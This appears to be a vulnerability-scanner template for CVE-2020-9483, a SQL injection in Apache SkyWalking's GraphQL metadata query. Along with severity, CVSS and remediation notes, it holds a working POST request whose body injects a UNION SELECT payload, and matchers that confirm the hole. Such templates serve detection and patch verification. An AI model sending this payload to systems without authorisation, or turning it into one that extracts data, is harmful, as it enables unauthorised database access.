SkyWalking SQLI

id: CVE-2020-9483

info:
  name: SkyWalking SQLI
  author: pikpikcu
  severity: high
  description: |
    When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.
  reference:
    - https://github.com/apache/skywalking/pull/4639
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9483
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/developer3000S/PoC-in-GitHub
    - https://github.com/pen4uin/awesome-vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9483
    cwe-id: CWE-89
    epss-score: 0.0522
    epss-percentile: 0.92833
    cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: skywalking
  tags: cve,cve2020,sqli,skywalking,apache

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"

    body: |
      {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/json"

      - type: word
        part: body
        words:
          - "UNION SELECT 1,CONCAT('~','9999999999','~')--"
          - 'Exception while fetching data'
        condition: and

      - type: status
        status:
          - 200
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